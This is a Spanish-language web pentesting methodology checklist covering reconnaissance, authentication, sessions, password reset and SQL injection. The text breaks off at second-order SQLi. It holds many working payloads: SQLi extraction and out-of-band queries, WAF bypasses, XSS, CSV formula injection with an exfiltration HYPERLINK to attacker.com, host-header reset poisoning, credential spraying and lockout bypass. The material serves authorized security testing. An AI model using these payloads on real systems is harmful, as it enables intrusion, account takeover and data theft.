Web Penetration Testing — Metodología Completa
Basada en PayloadsAllTheThings · PortSwigger Web Security Academy · Pentesting Web Checklist
Índice
- Fase de Reconocimiento
- Red e Infraestructura
- Preparación
- Gestión de Usuarios — Registro
- Autenticación
- Sesión y Cookies
- Perfil y Detalles de Cuenta
- Recuperación y Reset de Contraseña
- Manejo de Inputs — Inyecciones
- Manejo de Errores
- Lógica de Aplicación
- Upload de Archivos Inseguros
- JWT — JSON Web Tokens
- CORS Misconfiguration
- CSRF
- Prototype Pollution
- GraphQL Injection
- HTTP Parameter Pollution (HPP)
- Race Conditions
- Type Juggling (PHP)
- Zip Slip
- Dependency Confusion
- API Key Leaks y Source Code Management
- Infraestructura
- CAPTCHA
- Headers de Seguridad
1. Fase de Reconocimiento
1.1 Scope grande — empresa / múltiples dominios
- [ ] Obtener ASN y rangos de IP
- [ ] Revisar últimas adquisiciones de la empresa
- [ ] Obtener relaciones por registrantes (viewdns)
- [ ] Aplicar scope medio para cada dominio encontrado
Obtener ASN y rangos de IP del objetivo:
amass intel -org "Target Corp"asnlookup -o "Target Corp"metabigor net --org "Target Corp"whois -h whois.radb.net -- '-i origin AS12345'Amass en modo intel consulta múltiples fuentes OSINT para mapear la infraestructura de red de la organización. El resultado incluye rangos CIDR que luego sirven de base para el port scan. asnlookup es más rápido para validaciones puntuales.
Obtener relaciones por registrantes:
viewdns.infowhois target.com | grep -i "registrant\|org\|email"Buscar dominios registrados por el mismo email o entidad legal. Esto descubre activos que no aparecen en ningún scope oficial pero pertenecen a la empresa.
Zone Transfer:
dig axfr @ns1.target.com target.comhost -t axfr target.com ns1.target.comSi el servidor DNS está mal configurado, devuelve todos los registros del dominio de una sola vez. Poco común en producción pero siempre vale la pena probar.
1.2 Scope medio — dominio único
- [ ] Enumerar subdominios (amass, subfinder con todos los API keys)
- [ ] Subdomain bruteforce (puredns con wordlist)
- [ ] Permutar subdominios (gotator, ripgen)
- [ ] Identificar subdominios vivos (httpx)
- [ ] Subdomain takeovers (nuclei-takeovers)
- [ ] Verificar cloud assets (cloudenum)
- [ ] Shodan search
- [ ] Búsqueda recursiva de subdominios
- [ ] Tomar screenshots (gowitness, aquatone)
Enumeración pasiva de subdominios:
amass enum -passive -d target.com -o subdomains_passive.txtsubfinder -d target.com -all -o subdomains_sf.txtcat subdomains_passive.txt subdomains_sf.txt | sort -u > all_subdomains.txtAmass con -passive no genera tráfico directo hacia el objetivo. Subfinder con -all usa todas las fuentes configuradas. Combinar ambas herramientas maximiza la cobertura.
Brute force de subdominios:
puredns bruteforce /opt/SecLists/Discovery/DNS/best-dns-wordlist.txt target.com -r resolvers.txt -o subdomains_brute.txtpuredns resuelve masivamente usando resolvers confiables, filtrando los falsos positivos que genera el wildcard DNS. La wordlist de SecLists best-dns-wordlist.txt tiene buena relación cobertura/velocidad.
Permutaciones de subdominios:
gotator -sub all_subdomains.txt -perm permutations.txt -depth 1 -numbers 10 | sort -u > permuted.txtpuredns resolve permuted.txt -r resolvers.txt -o subdomains_permuted.txtGotator genera variaciones como dev-api, api2, staging-api a partir de los subdominios ya descubiertos. Muchos entornos de staging o dev se descubren solo así.
Identificar subdominios vivos:
cat all_subdomains.txt subdomains_brute.txt subdomains_permuted.txt | sort -u | httpx -silent -title -tech-detect -status-code -o live.txthttpx hace probing HTTP/HTTPS, detecta tecnologías (Wappalyzer integrado), y filtra los subdominios que realmente responden. La bandera -tech-detect es clave para priorizar.
Subdomain takeovers:
nuclei -l all_subdomains.txt -t nuclei-templates/takeovers/ -o takeovers.txtsubjack -w all_subdomains.txt -t 100 -o subjack_results.txt -sslUn takeover ocurre cuando un CNAME apunta a un servicio externo (Heroku, GitHub Pages, S3) que ya no está registrado. El atacante puede registrar ese servicio y tomar control del subdominio.
Cloud assets:
cloud_enum -k "targetcorp" -l cloud_assets.txtBusca buckets S3, blobs de Azure, y buckets de GCP relacionados con el nombre de la empresa usando permutaciones comunes.
Shodan:
shodan search "hostname:target.com" --fields ip_str,port,hostnames,orgshodan search "org:\"Target Corp\"" --fields ip_str,port,vulns,productShodan tiene una copia del estado histórico de los servicios expuestos en internet, incluidos puertos no estándar, versiones de software y CVEs asociados.
Screenshots:
gowitness scan -f live.txt --write-dbaquatone -hosts live.txt -out aquatone_report/Los screenshots permiten revisar visualmente decenas o cientos de subdominios en minutos para identificar paneles de administración, aplicaciones legacy o servicios expuestos sin revisar uno a uno.
1.3 Scope pequeño — sitio web individual
- [ ] Identificar servidor web, tecnologías y base de datos
- [ ] Localizar /robots.txt, /crossdomain.xml, /clientaccesspolicy.xml, /sitemap.xml, /.well-known/
- [ ] Revisar comentarios en código fuente (Burp Engagement Tools)
- [ ] Enumeración de directorios y fuzzing
- [ ] Buscar IDs y emails filtrados (pwndb)
- [ ] Identificar WAF
- [ ] Google dorking
- [ ] GitHub dorking
- [ ] Obtener URLs (gau, waybackurls, gospider)
- [ ] Verificar URLs potencialmente vulnerables (gf-patterns)
- [ ] XSS automático (dalfox)
- [ ] Localizar panel admin y login
- [ ] Broken link hijacking (blc)
- [ ] Obtener todos los archivos JS (subjs, xnLinkFinder)
- [ ] JS hardcoded APIs y secrets (nuclei-tokens)
- [ ] Análisis JS (JSA, getjswords)
- [ ] Scanner automático (nuclei)
- [ ] Test CORS (CORScanner, corsy)
Fingerprinting del servidor:
whatweb -v target.comhttpx -u target.com -tech-detect -title -status-code -server -content-type -web-serverIdentificar tecnologías permite buscar vulnerabilidades específicas (WordPress, Joomla, Apache Struts, etc.) en lugar de hacer pruebas genéricas.
Archivos de configuración y rutas comunes:
for path in robots.txt sitemap.xml .well-known/security.txt crossdomain.xml clientaccesspolicy.xml .htaccess web.config phpinfo.php server-status; do
echo -n "$path: " && curl -sk -o /dev/null -w "%{http_code}" "https://target.com/$path" && echo
donerobots.txt puede revelar rutas que el dueño no quiere indexar pero que existen. /server-status expone información de Apache. /.well-known/security.txt indica si hay un programa de bug bounty activo.
Identificar WAF:
wafw00f https://target.comwhatwaf -u https://target.comConocer el WAF antes de empezar permite seleccionar los bypass adecuados para cada técnica de inyección.
Google dorking:
site:target.com filetype:pdf OR filetype:xls OR filetype:docxsite:target.com inurl:admin OR inurl:login OR inurl:panel OR inurl:dashboardsite:target.com "error" OR "exception" OR "stack trace" OR "SQL syntax"site:target.com ext:php OR ext:asp OR ext:aspx OR ext:jsp OR ext:env"@target.com" password OR secret OR credentialssite:pastebin.com "target.com"Los dorks de Google acceden a información indexada que el servidor no protege. Los errores de SQL y stack traces revelan tecnologías y rutas internas. Las búsquedas en Pastebin frecuentemente muestran credenciales o tokens filtrados.
GitHub dorking:
org:TargetOrg passwordorg:TargetOrg secret api_key tokenorg:TargetOrg "target.com" configgithound --dig-commits target.comtrufflehog github --org=TargetOrg --issue-comments --pr-commentsLos developers suelen commitear credenciales o configuraciones sensibles accidentalmente. GitHub indexa el historial completo, incluyendo commits que "borraron" el secreto pero que siguen visibles en el historial.
URLs históricas y activas:
gau target.com --subs -o gau_urls.txtwaybackurls target.com > wayback_urls.txtgospider -s https://target.com -d 3 -c 20 -o gospider_output/cat gau_urls.txt wayback_urls.txt > all_urls.txt && sort -u all_urls.txt | uro > urls_dedup.txtLa Wayback Machine guarda versiones de páginas que ya no existen en producción, revelando endpoints antiguos, parámetros eliminados o funcionalidades deprecadas que aún pueden seguir activos en el servidor.
Filtrar URLs potencialmente vulnerables:
cat urls_dedup.txt | gf sqli > sqli_candidates.txt
cat urls_dedup.txt | gf xss > xss_candidates.txt
cat urls_dedup.txt | gf ssrf > ssrf_candidates.txt
cat urls_dedup.txt | gf redirect > redirect_candidates.txt
cat urls_dedup.txt | gf lfi > lfi_candidates.txt
cat urls_dedup.txt | gf rce > rce_candidates.txtgf-patterns usa expresiones regulares para identificar parámetros que históricamente son vulnerables a ciertos tipos de inyección (por nombre de parámetro, estructura de la URL, etc.).
XSS automático:
dalfox file xss_candidates.txt --skip-bav -o dalfox_results.txtdalfox url "https://target.com/search?q=test" --blind "https://blind.interactsh.com"Dalfox es actualmente la herramienta más rápida y precisa para XSS automatizado. La opción --blind permite detectar XSS que no tienen reflejo visible en la respuesta.
Archivos JavaScript:
subjs -i live.txt -o js_files.txtxnLinkFinder -i https://target.com -d 3 -o links.txtLos archivos JS frecuentemente contienen endpoints de API no documentados, comentarios con rutas internas, tokens hardcodeados y lógica de negocio que revela vulnerabilidades.
Buscar secretos en JS:
nuclei -l js_files.txt -t nuclei-templates/exposures/tokens/ -o js_secrets.txttrufflehog filesystem ./js_downloads/cat js_files.txt | xargs -I{} curl -sk {} | grep -Eo "(AKIA[0-9A-Z]{16}|ghp_[a-zA-Z0-9]{36}|sk-[a-zA-Z0-9]{48}|AIza[0-9A-Za-z\-_]{35})"Los tokens de AWS (AKIA...), GitHub (ghp_...), OpenAI (sk-...) y Google (AIza...) son los más frecuentes y tienen impacto directo si son válidos.
Enumeración de directorios:
ffuf -u https://target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc 200,301,302,403 -t 50 -o ffuf_dirs.jsonferoxbuster -u https://target.com -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt --auto-tune -o feroxbuster.txtffuf es el fuzzer más rápido. feroxbuster hace recursión automática. Los códigos 403 son valiosos porque indican que la ruta existe pero está protegida — puede ser bypasseable con técnicas de path normalization.
Broken link hijacking:
blc https://target.com -ro --filter-level 1 | grep "BROKEN"Si el sitio tiene links a dominios externos expirados, el atacante puede registrar esos dominios y servir contenido malicioso que los usuarios del sitio cargarán.
Paneles de administración:
ffuf -u https://target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/common-admin-panels.txt -mc 200,301,302Paneles como /admin, /manager, /console, /wp-admin, /phpmyadmin suelen estar expuestos o protegidos con credenciales débiles.
Scanner automatizado:
nuclei -l live.txt -t nuclei-templates/ -severity critical,high,medium -o nuclei_results.txtNuclei tiene más de 8000 templates que cubren CVEs conocidos, misconfigurations, exposición de archivos sensibles y mucho más. Siempre ejecutar antes de las pruebas manuales para resolver lo evidente.
Test CORS:
corsy -u https://target.com -H "Cookie: session=abc"CORScanner -u https://target.com2. Red e Infraestructura
- [ ] Verificar si se permiten paquetes ICMP
- [ ] Revisar políticas DMARC/SPF (spoofcheck)
- [ ] Puertos abiertos con Shodan
- [ ] Port scan a todos los puertos
- [ ] Verificar puertos UDP
- [ ] Test SSL/TLS
- [ ] Con credenciales: password spraying en todos los servicios descubiertos
ICMP:
ping -c 3 target.comSi ICMP está habilitado permite mapear topología de red y verificar alcanzabilidad. Su bloqueo suele indicar un entorno más endurecido.
DMARC y SPF:
spoofcheck target.comdig txt _dmarc.target.comdig txt target.com | grep -i "spf\|dmarc\|v=spf"Si DMARC/SPF están ausentes o mal configurados, es posible enviar emails suplantando el dominio de la empresa (email spoofing), lo cual habilita ataques de phishing muy convincentes.
Port scan completo:
nmap -sV -sC -p- --min-rate 5000 -oA nmap_full target.comnmap -sU --top-ports 200 -oA nmap_udp target.comEl scan a todos los puertos (-p-) descubre servicios en puertos no estándar que el scan por defecto (top 1000) pasaría por alto. Servicios como Jenkins en 8080, Elasticsearch en 9200 o Redis en 6379 son frecuentes.
SSL/TLS:
testssl --html testssl.html https://target.comsslscan target.comtestssl detecta suites de cifrado débiles, protocolos deprecados (SSLv3, TLS 1.0), certificados expirados y vulnerabilidades como HEARTBLEED, POODLE, BEAST o ROBOT.
Password spraying (si se obtienen credenciales):
crackmapexec smb target.com -u users.txt -p 'Password123' --no-brutehydra -L users.txt -p 'Password123' target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"Password spraying prueba una sola contraseña común contra muchos usuarios para evitar lockouts. Contraseñas como Company2024!, Summer2024 o Welcome1 son frecuentemente válidas en entornos corporativos.
3. Preparación
- [ ] Estudiar la estructura del sitio
- [ ] Crear lista con todos los casos de prueba posibles
- [ ] Entender el área de negocio y qué necesita el cliente
- [ ] Obtener lista de todos los assets (all_subdomains.txt, live_subdomains.txt, waybackurls.txt, hidden_directories.txt, nmap_results.txt, GitHub_search.txt, altdns_subdomain.txt, vulnerable_links.txt, js_files.txt)
Antes de atacar, mapear el flujo de la aplicación: ¿cómo se autentica? ¿qué roles existen? ¿qué acciones tienen impacto económico? Las vulnerabilidades de lógica de negocio solo se encuentran si se entiende el negocio. Un bug en un e-commerce que permite comprar gratis tiene más impacto que un XSS reflejado en una página de error.
4. Gestión de Usuarios — Registro
- [ ] Registro duplicado (probar con mayúsculas, +1@..., puntos en el nombre, etc.)
- [ ] Sobreescribir usuario existente (existing user takeover)
- [ ] Unicidad del nombre de usuario
- [ ] Política de contraseñas débil (user=password, 123456, 111111, abcabc, qwerty12)
- [ ] Proceso de verificación de email insuficiente (también my%00email@mail.com para account takeover)
- [ ] Implementación de registro débil o que permite emails desechables
- [ ] Fuzzear después de crear el usuario para verificar si alguna carpeta fue sobreescrita o creada
- [ ] Agregar solo espacios como contraseña
- [ ] Contraseña larga (>200 caracteres) lleva a DoS
- [ ] Defectos de autenticación y sesión: registrarse, no verificar, pedir cambio de contraseña, cambiar, verificar si la cuenta está activa
- [ ] Re-registrar repitiendo el mismo request con la misma y diferente contraseña
- [ ] Si es JSON, agregar coma:
- [ ] Falta de confirmación → intentar registrarse con email de la empresa
- [ ] Verificar OAuth con registro via redes sociales
- [ ] Verificar parámetro state en registro con redes sociales
- [ ] Intentar capturar URL de integración para takeover de integración
- [ ] Verificar redirecciones en la página de registro después del login
- [ ] Rate limit en creación de cuentas
- [ ] XSS en nombre o email
Registro duplicado con variaciones:
Probar registrar el mismo usuario con variaciones que algunos sistemas normalizan antes de guardar:
Admin,ADMIN,admin(espacio final),admin\t(tab),ádmin(unicode)user+test@mail.com,u.s.e.r@mail.com,user@MAIL.COMmy%00email@mail.com— el null byte puede truncar el email en la búsqueda pero no en el registro
Si el sistema normaliza el input al consultar la DB pero no al insertarlo, puede que el registro de "admin " dispare el reset de contraseña del usuario "admin" legítimo.
Contraseña larga para DoS:
Algunos backends aplican bcrypt directamente al input del usuario sin limitar el tamaño. bcrypt es intencionalmente lento para resistir brute force, pero procesar una contraseña de 1 MB puede tardar segundos y agotar los workers disponibles.
password = "A" * 50000Enviar este payload en el campo de contraseña durante el registro o login para medir el tiempo de respuesta.
XSS en campos de nombre:
<script>alert(document.domain)</script>
"><img src=x onerror=alert(1)>El nombre del usuario suele mostrarse en el panel de administración. Un XSS almacenado aquí puede comprometer la cuenta del admin cuando revise la lista de usuarios.
5. Autenticación
- [ ] Enumeración de usuarios
- [ ] Resistencia al adivinar contraseñas
- [ ] Función de recuperación de cuenta
- [ ] Función "recuérdame"
- [ ] Función de impersonación
- [ ] Distribución insegura de credenciales
- [ ] Condiciones fail-open
- [ ] Mecanismos multi-etapa
- [ ] SQL Injections
- [ ] Testing de autocompletado
- [ ] Falta de confirmación de contraseña en cambio de email, contraseña o 2FA (intentar cambiar la respuesta)
- [ ] Función de login débil sobre HTTP y HTTPS si ambos están disponibles
- [ ] Mecanismo de lockout en ataque de brute force
- [ ] Verificar wordlist de contraseñas (cewl, burp-goldenNuggets)
- [ ] Testear funcionalidad de login OAuth para open redirection
- [ ] Testear tampering de respuesta en autenticación SAML
- [ ] En OTP verificar códigos predecibles y race conditions
- [ ] OTP, verificar manipulación de respuesta para bypass
- [ ] OTP, intentar brute force
- [ ] Si hay JWT, verificar fallas comunes
- [ ] Debilidad de caché del browser (Pragma, Expires, Max-age)
- [ ] Después de registrarse, cerrar sesión, limpiar caché, ir a la home y pegar la URL del perfil en el browser, verificar "login?next=accounts/profile"
- [ ] Intentar login con credenciales comunes
Enumeración de usuarios:
ffuf -u https://target.com/login -X POST -d "username=FUZZ&password=wrongpass" \
-w /opt/SecLists/Usernames/top-usernames-shortlist.txt \
-mr "Invalid password" -mc 200Si el mensaje de error es diferente cuando el usuario existe ("Invalid password") vs cuando no existe ("User not found"), el sistema enumera usuarios. Buscar también diferencias sutiles en tiempo de respuesta o tamaño de la respuesta.
Brute force con wordlist generada del sitio:
cewl https://target.com -m 8 -d 3 -w cewl_wordlist.txthydra -L users.txt -P cewl_wordlist.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"cewl extrae palabras del propio sitio web para construir una wordlist personalizada. Las empresas suelen tener contraseñas relacionadas con su nombre, productos o jerga interna.
Bypass de lockout via header:
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4Algunos sistemas implementan el lockout por IP leyendo estos headers en lugar de la IP real. Cambiar el valor del header entre intentos puede bypassear el bloqueo.
Open redirect en login OAuth:
/login?next=javascript:alert(1);//
/login?next=//evil.com
/oauth/authorize?redirect_uri=https://attacker.comSi el parámetro next o redirect_uri no está validado, después del login el usuario es redirigido al sitio del atacante — que puede capturar el token de sesión o el código OAuth desde el Referer.
Bypass de OTP por manipulación de respuesta:
- Interceptar la respuesta del servidor al enviar un OTP incorrecto
- Cambiar
{"success": false, "message": "Invalid OTP"}→{"success": true} - Verificar si la aplicación acepta la sesión como válida
Muchas implementaciones validan el OTP solo en el cliente después de recibir la respuesta del servidor, sin verificar el valor real antes de otorgar acceso.
Test de login con credenciales comunes:
admin:admin / admin:password / admin:123456
root:root / root:toor
administrator:administrator
test:test / user:user / guest:guest
[empresa]:Password1 / [empresa]2024!6. Sesión y Cookies
- [ ] Manejo de sesiones
- [ ] Testear tokens para que tengan significado
- [ ] Testear tokens para predictibilidad
- [ ] Transmisión insegura de tokens
- [ ] Exposición de tokens en logs
- [ ] Mapeo de tokens a sesiones
- [ ] Terminación de sesiones
- [ ] Session fixation
- [ ] Cross-site request forgery
- [ ] Scope de cookies
- [ ] Decodificar cookie (Base64, hex, URL, etc.)
- [ ] Tiempo de expiración de cookies
- [ ] Verificar flags HTTPOnly y Secure
- [ ] Usar la misma cookie desde una IP o sistema diferente
- [ ] Controles de acceso
- [ ] Efectividad de controles usando múltiples cuentas
- [ ] Métodos de control de acceso inseguros (parámetros de request, header Referer, etc.)
- [ ] Verificar login concurrente desde diferente máquina/IP
- [ ] Bypass de tokens Anti-CSRF
- [ ] Preguntas de seguridad débiles
- [ ] Path traversal en cookies
- [ ] Reusar cookie después de cerrar sesión
- [ ] Cerrar sesión y click en el botón "atrás" del browser (Alt + Flecha izquierda)
- [ ] 2 instancias abiertas, 1ra cambia o resetea contraseña, refrescar 2da instancia
- [ ] Con usuario privilegiado realizar acciones privilegiadas, intentar repetir con cookie de usuario sin privilegios
Análisis de la cookie:
echo "dXNlcm5hbWU9YWRtaW4mcm9sZT11c2Vy" | base64 -decho "cookie_value" | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))"Muchas aplicaciones codifican datos sensibles en la cookie sin cifrarlos. Un role=user en base64 puede cambiarse a role=admin.
Verificar flags de la cookie:
curl -s -I https://target.com/login | grep -i "set-cookie"La ausencia de HttpOnly permite leer la cookie via JavaScript (XSS). La ausencia de Secure permite transmitirla en HTTP. La ausencia de SameSite facilita ataques CSRF.
Análisis de aleatoriedad del token:
Usar Burp Suite > Sequencer: capturar múltiples respuestas con Set-Cookie y analizar la entropía del token. Un token con baja entropía es predecible y puede ser forzado.
Session fixation:
- Obtener un session ID antes de autenticarse
- Autenticarse con ese session ID (via parámetro URL o cookie manipulada)
- Verificar si el session ID cambia después del login exitoso
Si el session ID no rota post-login, un atacante que forzó el session ID de la víctima puede tomar su sesión una vez que ella se autentique.
Cookie scope:
Domain=.target.com → compartida con todos los subdominios
Path=/ → disponible en toda la aplicaciónUna cookie con Domain=.target.com es accesible desde evil.target.com. Si hay un subdominio comprometido o con XSS, puede robar la cookie de sesión principal.
7. Perfil y Detalles de Cuenta
- [ ] Encontrar parámetro con ID de usuario e intentar tamperear para obtener detalles de otros usuarios
- [ ] Crear lista de features que pertenecen solo a una cuenta de usuario y probar CSRF en cada una
- [ ] Cambiar ID de email y actualizar con cualquier ID de email existente. Verificar si se valida en el servidor
- [ ] Verificar enlace de confirmación de nuevo email y qué pasa si el usuario no confirma
- [ ] File upload: eicar, sin límite de tamaño, extensión de archivo, filter bypass, RCE
- [ ] CSV import/export: command injection, XSS, macro injection
- [ ] Verificar URL de foto de perfil para encontrar email/info de usuario o datos EXIF de geolocalización
- [ ] Imagetragick en upload de foto de perfil
- [ ] Metadata de todos los archivos descargables (geolocalización, usernames)
- [ ] Opción de eliminación de cuenta e intentar reactivar con la función "Olvidé mi contraseña"
- [ ] Probar enumeración por fuerza bruta al cambiar cualquier parámetro único del usuario
- [ ] Verificar re-autenticación de la aplicación para operaciones sensibles
- [ ] Probar parameter pollution para agregar dos valores del mismo campo
- [ ] Verificar política de diferentes roles
IDOR en parámetros de usuario:
GET /api/users/1234/profile → cambiar a /api/users/1235/profile
GET /api/orders?user_id=1234 → cambiar user_id al de otra cuenta
POST /api/change-email {"user_id": "1234", "email": "attacker@evil.com"}Los IDOR son una de las vulnerabilidades más frecuentes en APIs. Siempre intercambiar IDs entre cuentas propias (dos cuentas de prueba) antes de escalar.
Exif y metadata:
exiftool downloaded_image.jpgexiftool *.pdf | grep -i "author\|creator\|producer\|gps"Los archivos de Office y PDF contienen el nombre del author, software usado y a veces rutas de sistema internas. Las imágenes pueden tener coordenadas GPS que revelan la ubicación física de los servidores o de los empleados.
CSV injection:
=cmd|' /C calc'!A0
=HYPERLINK("https://attacker.com/steal?c="&A1,"Click here")
@SUM(1+1)*cmd|' /C calc'!A0
-2+3+cmd|' /C calc'!A0Si la aplicación permite importar CSV y luego exportarlos a Excel, fórmulas inyectadas en los campos del CSV se ejecutan cuando el usuario abre el archivo exportado.
8. Recuperación y Reset de Contraseña
- [ ] Invalidar sesión al cerrar sesión y al resetear contraseña
- [ ] Unicidad del link/código de reset de contraseña
- [ ] Tiempo de expiración de links de reset
- [ ] Encontrar user ID u otros campos sensibles en el link de reset y tampearlos
- [ ] Solicitar 2 links de reset de contraseña y usar el más antiguo
- [ ] Verificar si muchos requests tienen tokens secuenciales
- [ ] Usar username@burp_collab.net y analizar el callback
- [ ] Host header injection para filtración de token
- [ ] Agregar X-Forwarded-Host: evil.com para recibir el link de reset con evil.com
- [ ] Email crafting como victim@gmail.com@target.com
- [ ] IDOR en link de reset
- [ ] Capturar token de reset y usar con otro email/userID
- [ ] Sin TLD en el parámetro de email
- [ ] Carbon copy: email=victim@mail.com%0a%0dcc:hacker@mail.com
- [ ] Contraseña larga (>200) lleva a DoS
- [ ] Sin rate limit, capturar request y enviar más de 1000 veces
- [ ] Verificar cifrado en el token de reset de contraseña
- [ ] Filtración de token en header Referer
- [ ] Agregar segundo parámetro y valor de email
- [ ] Entender cómo se genera el token (timestamp, username, fecha de nacimiento)
- [ ] Response manipulation
Host header injection para reset poisoning:
POST /forgot-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.comEl servidor genera el link de reset usando el header Host. Si lo toma sin validar, el email que recibe la víctima contiene un link a attacker.com/reset?token=XXX. El atacante captura el token en sus logs y resetea la contraseña.
Email parameter pollution:
email=victim@mail.com&email=hacker@mail.com
{"email":["victim@mail.com","hacker@mail.com"]}
email=victim@mail.com%0a%0dcc:hacker@mail.com
email=victim@mail.com%0a%0dbcc:hacker@mail.com
email=victim@mail.com,hacker@mail.com
email=victim@mail.com|hacker@mail.com
email=victim@mail.com%20hacker@mail.comEl servidor puede enviar el email de reset a múltiples destinatarios si interpreta alguna de estas variaciones como una lista.
Token en Referer:
- Solicitar reset de contraseña para
victim@mail.com - Recibir el email con el link de reset
- Hacer click en el link SIN cambiar la contraseña
- Desde esa página, hacer click en cualquier link externo (redes sociales del sitio, etc.)
- Capturar el request con Burp y revisar si el header
Referercontiene el token de reset
IDOR en el link de reset:
https://target.com/reset?token=abc123&user_id=1234Cambiar user_id=1235 puede permitir usar un token propio para resetear la contraseña de otro usuario, si el servidor no valida que el token pertenezca al user_id indicado.
Tokens secuenciales:
Solicitar múltiples resets en rápida sucesión. Si los tokens son a1b2c3d4, a1b2c3d5, a1b2c3d6..., el algoritmo es predecible y puede intentarse adivinar el token enviado a la víctima.
9. Manejo de Inputs — Inyecciones
9.1 SQL Injection
- [ ] SQL Injection en todos los parámetros (GET, POST, headers, cookies)
- [ ] SQL injection via User-Agent Header
- [ ] Inyección con
'y'--+-
Detección
Caracteres de detección básicos:
' " ` ; ) -- - /* '*/ ')) OR 1=1--
%27 %22 %60 %3B
%%2727 (doble encode)Identificar el DBMS por keywords específicas:
| DBMS | Payload de identificación |
|---|---|
| MySQL | conv('a',16,2)=conv('a',16,2) |
| MySQL | crc32('MySQL')=crc32('MySQL') |
| MSSQL | BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123) |
| MSSQL | @@CONNECTIONS>0 |
| Oracle | ROWNUM=ROWNUM |
| Oracle | RAWTOHEX('AB')=RAWTOHEX('AB') |
| PostgreSQL | 5::int=5 |
| PostgreSQL | pg_client_encoding()=pg_client_encoding() |
| SQLite | sqlite_version()=sqlite_version() |
Identificar el DBMS por mensajes de error:
| DBMS | Mensaje de error típico |
|---|---|
| MySQL | You have an error in your SQL syntax... |
| PostgreSQL | ERROR: unterminated quoted string... |
| MSSQL | Unclosed quotation mark after the character string |
| Oracle | ORA-00933: SQL command not properly ended |
sqlmap — automático:
sqlmap -u "https://target.com/page?id=1" --dbs --batch --random-agentsqlmap -u "https://target.com/page?id=1" -D dbname --tablessqlmap -u "https://target.com/page?id=1" -D dbname -T users --dumpsqlmap -r request.txt --dbs --batch --level=5 --risk=3sqlmap -u "https://target.com/" --cookie="session=abc*" --dbsEl * en el parámetro de la cookie indica a sqlmap que pruebe inyección en ese punto. Con --level=5 --risk=3 se activan todas las técnicas de detección incluyendo las más agresivas.
Bypass de WAF con tamper scripts:
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between,randomcase,charencode --dbsLos tamper scripts transforman el payload: space2comment convierte espacios en /**/, randomcase mezcla mayúsculas/minúsculas, charencode codifica caracteres especiales.
UNION-based
Determinar número de columnas:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--Incrementar hasta que la query falle — el número anterior es la cantidad de columnas.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--Encontrar columnas que muestran texto:
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--Extraer datos del sistema:
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name='users'--Oracle requiere FROM en todo SELECT:
' UNION SELECT NULL FROM DUAL--
' UNION SELECT banner,NULL FROM v$version--Error-based
MySQL extractvalue:
' AND extractvalue(1,concat(0x7e,(SELECT version())))--' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())))--MySQL updatexml:
' AND updatexml(1,concat(0x7e,(SELECT database())),1)--PostgreSQL — cast a numeric:
' AND CAST((SELECT version()) AS numeric)--El error revela el output: invalid input syntax for type numeric: "PostgreSQL 14.5...".
MSSQL — convert:
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--Blind boolean-based
Confirmar vulnerabilidad:
?id=1 AND 1=1--
?id=1 AND 1=2--Extraer datos char a char:
?id=1 AND SUBSTRING(version(),1,1)='5'--
?id=1 AND ASCII(SUBSTRING(version(),1,1))>52--
?id=1 AND LENGTH(database())=6--Blind time-based
MySQL:
?id=1' AND SLEEP(5)--
?id=1' AND IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)--MSSQL:
?id=1'; WAITFOR DELAY '0:0:5'--
?id=1' IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'--PostgreSQL:
?id=1' AND 1=(SELECT 1 FROM PG_SLEEP(5))--Oracle:
?id=1' AND 1=dbms_pipe.receive_message('a',5)--Heavy query alternativa (cuando SLEEP está bloqueado):
?id=1' AND BENCHMARK(2000000,MD5(NOW()))--Out-of-Band (OAST)
MySQL:
LOAD_FILE('\\\\BURP-COLLABORATOR\\a')
SELECT username FROM users INTO OUTFILE '\\\\BURP-COLLABORATOR\\a'MSSQL:
EXEC master..xp_dirtree '//BURP-COLLABORATOR/a'
EXEC master..xp_fileexist '//BURP-COLLABORATOR/a'Oracle:
SELECT UTL_HTTP.request('http://BURP-COLLABORATOR') FROM DUAL
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR') FROM DUALPostgreSQL:
COPY (SELECT '') TO PROGRAM 'nslookup BURP-COLLABORATOR'Bypass de WAF — técnicas manuales
Sin espacios:
?id=1/**/UNION/**/SELECT/**/1,2,3--
?id=1%09UNION%09SELECT%091,2,3--
?id=1%0aUNION%0aSELECT%0a1,2,3--
?id=(1)UNION(SELECT(1),(2),(3))--Sin comas:
' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c--
SUBSTR('SQL' FROM 1 FOR 1)
LIMIT 1 OFFSET 0Sin igual (=):
SUBSTRING(VERSION(),1,1)LIKE(5)
SUBSTRING(VERSION(),1,1)NOT IN(4,3)
SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4Sin OR/AND:
WHERE 1||1=1
WHERE 1&&1=1Case randomizado:
' uNiOn SeLeCt 1,2,3--Whitespace alternativo por DBMS:
| DBMS | Whitespace soportado (hex) |
|---|---|
| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
| PostgreSQL | 0A, 0D, 0C, 09, 20 |
| Oracle | 00, 0A, 0D, 0C, 09, 20 |
| MSSQL | 01-1F, 20 |
Polyglot:
SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/Second-order SQL Injection
